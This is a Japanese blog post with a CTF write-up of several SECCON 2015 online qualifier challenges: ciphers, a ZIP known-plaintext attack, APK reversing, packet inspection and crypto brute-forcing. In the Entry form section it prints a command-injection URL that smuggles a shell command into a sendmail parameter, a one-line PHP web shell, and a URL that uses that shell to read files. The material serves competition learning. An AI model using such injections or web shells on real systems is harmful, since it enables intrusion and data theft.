Web、サーバ、ソフトウェア、バグ・脆弱性 などの情報を何人かで集まって書いていく IT/Web情報系ブログ

SECCON 2015 オンライン予選 writeup

投稿日:   最終更新日:2017/01/15  投稿者:xx2zz

ほとんど一人のチームで172位。(1問だけ一人に手伝ってもらった)

解いた問題だけ。

Start SECCON CTF

my $tab1 = 'PXFR}QIVTMSZCNDKUWAGJB{LHYEOEV}ZZD{DWZRA}FFDNFGQO';
my $tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}{HELLOWORLDSECCONCTF}';

my $q = 'A}FFDNEVPFSGV}KZPN}GO';

print substr($tab2, index($tab1, $_, 0), 1) for split //, $q;

Flag: SECCON{HACKTHEPLANET}

Unzip the file

ZIPファイルに暗号化された3つのファイルが入っている。

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-11-30 16:23:23 .....        14182         5300  backnumber08.txt
2015-11-30 16:22:33 .....        12064         4851  backnumber09.txt
2015-12-01 15:21:52 .....        22560        11033  flag
------------------- ----- ------------ ------------  ------------------------
                                 48806        21184  3 files, 0 folders

flag以外の2つのファイルを使って既知平文攻撃をしろということっぽいので、サイズがでかいbacknumber08.txtのほうを探すと、http://2014.seccon.jp/mailmagazine/backnumber08.txtが見つかった。

ZIPの既知平文攻撃はpkcrackというツールで行えるが、backnumber08.txtはDeflateされた状態で暗号化されているので、同じサイズになるように圧縮してやらないといけない。
どうせzlibでデフォルトの圧縮率だろうと、Linuxのzipコマンドで圧縮してやるとサイズが一致した。

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-12-05 15:03:25 .....        14182         5288  backnumber08.txt
------------------- ----- ------------ ------------  ------------------------
                                 14182         5288  1 files, 0 folders

(12バイトの差は暗号化のときに付くヘッダの分なのでぴったり一致している)

あとは、圧縮したbacknumber08.zipを指定してpkcrackで復号すると、「flag」というファイルが取り出せる。

./pkcrack -C ./unzip -c backnumber08.txt -P ./backnumber08.zip -p  backnumber08.txt -d decrypted.zip

flagファイルも一見zipファイルだが、展開してみるとWordのファイルっぽいので、拡張子を.docxにしてWordで開くと白文字でフラグが書かれている。

Flag: SECCON{1sth1s_passw0rd weak?}

Reverse-Engineering Android APK 1

Androidのapkファイルが与えられるので、apkファイルを解凍して出てくるclasses.dexをdex2jarでjarファイルに変換してjd-guiでコードを読む。

        if (1000 == MainActivity.this.cnt) {
          localTextView.setText("SECCON{" + String.valueOf((MainActivity.this.cnt + MainActivity.this.calc()) * 107) + "}");
        }

こんなコードが見つかる。MainActivity.this.cntは分かるが、MainActivity.this.calc()が返す値はapkに同封されてるライブラリのほうを見ないとだめらしい。
lib/x86/libcalc.soをobjdumpで逆アセンブルする。

00000400 :
 400:   b8 07 00 00 00          mov    $0x7,%eax
 405:   c3                      ret

MainActivity.this.calc()は7になりそうなので、(1000 + 7) * 107をそのまま文字列にした107749が中に入る値になる。

Flag: SECCON{107749}

Connect the server

login.pwn.seccon.jp:10000

telnetで繋ぐと以下のメッセージが降ってくる。

hoge@ubuntu:~$ telnet login.pwn.seccon.jp 10000
Trying 133.242.228.87...
Connected to login.pwn.seccon.jp.
Escape character is '^]'.
CONNECT 300

Welcome to SECCON server.

The server is connected via slow dial-up connection.
Please be patient, and do not brute-force.

login:

Login timer timed out.
Thank you for your cooperation.

HINT: It is already in your hands.

Good bye.
Connection closed by foreign host.

「HINT: It is already in your hands.」とあるので、今度はパケットをキャプチャしながら繋く。
Wiresharkを見ると、ターミナル上に表示されない制御コードのBSとスペースが混じったフラグっぽい文字が見える。

wireshark

Flag: SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

Entry form

チームメンバーが手伝ってくれて終了5分前に解けた。

register1
メールアドレスと名前を入力するフォームがあって、適当な値を入力して送ると、「Your entry was sent. Go Back」とだけ書かれたページが表示される。

http://entryform.pwn.seccon.jp/にアクセスすると以下4つのフォルダ・ファイルが見つかる。

SECRETS
log
logo.png
register.cgi
register.cgi_bak

register.cgi_bakにアクセスすると、register.cgiのソースらしきコードが表示される。

(実際のコード紛失)
open(LOG, ">>log"); ### <-- FLAG HERE ### 

とあるので、http://entryform.pwn.seccon.jp/logにアクセスするが403。

open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
この行が使えそうなので、mailパラメータに'cat log'などを入れてみるも何も表示されず。
しかし、lsはできるので、
http://entryform.pwn.seccon.jp/register.cgi?mail=hoge%40unko.net%27%3B+ls+SECRETS%2F%27&name=unko&action=Send
これでSECRETSの中のファイルが取れた。

register2

catでbackdoor123.phpの中身を表示させる。

<pre><?php system($_GET['cmd']); ?></pre>

このbackdoor123.phpを使ってlogの中身が表示できる。
http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=head%20../log

Flag: SECCON{Glory_will_shine_on_you.}

Exec dmesg

Linuxのisoファイルが与えられるので、VirtualBoxで起動してみるが、dmesgは実行できない。
dmesgで出力されるメッセージの中にフラグがあるとしたら、メモリのどこかにはあるはずなので、
VirtualBoxのプロセスごとメモリダンプしてstringsしてみると、フラグらしき文字列が見つかった。

Flag: SECCON{elf32-i386}

Decrypt it

$ ./cryptooo SECCON{*************************}
Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=

とcryptoooのバイナリが与えられるので、キーを復元しろという問題。

$ ./cryptooo SECCON{
Encrypted(12): waUqjjDGnQ==

途中まででも暗号化後のデータは同じになるみたいなので、
0x20-0x7eの1文字を追加して「waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=」と同じ値になるまで適当に繰り返していたらフラグが得られた。

my $cmp = "waUqjjDGn";
my @r = split//,"YxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=";
my @w = ("SECCON{");

while (@w && @r) {
        my @t = @w;
        @w = ();
        while (my $w = shift @t) {
                for my $c (0x21..0x7e) {
                        $c = chr($c);
                        my $s = $w.$c;
                        my $r=`./cryptooo '$s'`;
                        next unless $r=~/: (.+)/;
                        next if index($1, $cmp) < 0;
                        print $s,q{ },$1,$/;
                        push @w, $s;
                }
        }
        $cmp .= shift @r;
        $cmp .= shift @r if scalar(@w) > 10;
        print scalar(@w), $/;
}

Flag: SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}

Last Challenge

Start SECCON CTFと同じ。

my $tab1 = 'PXFR}QIVTMSZCNDKUWAGJB{LHYEOEV}ZZD{DWZRA}FFDNFGQO';
my $tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}{HELLOWORLDSECCONCTF}';

my $q = 'A}FFDNEA}}HDJN}LGH}PWO';

print substr($tab2, index($tab1, $_, 0), 1) for split //, $q;

Flag: SECCON{SEEYOUNEXTYEAR}

スポンサーリンク

- writeup , ,

Message

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

関連記事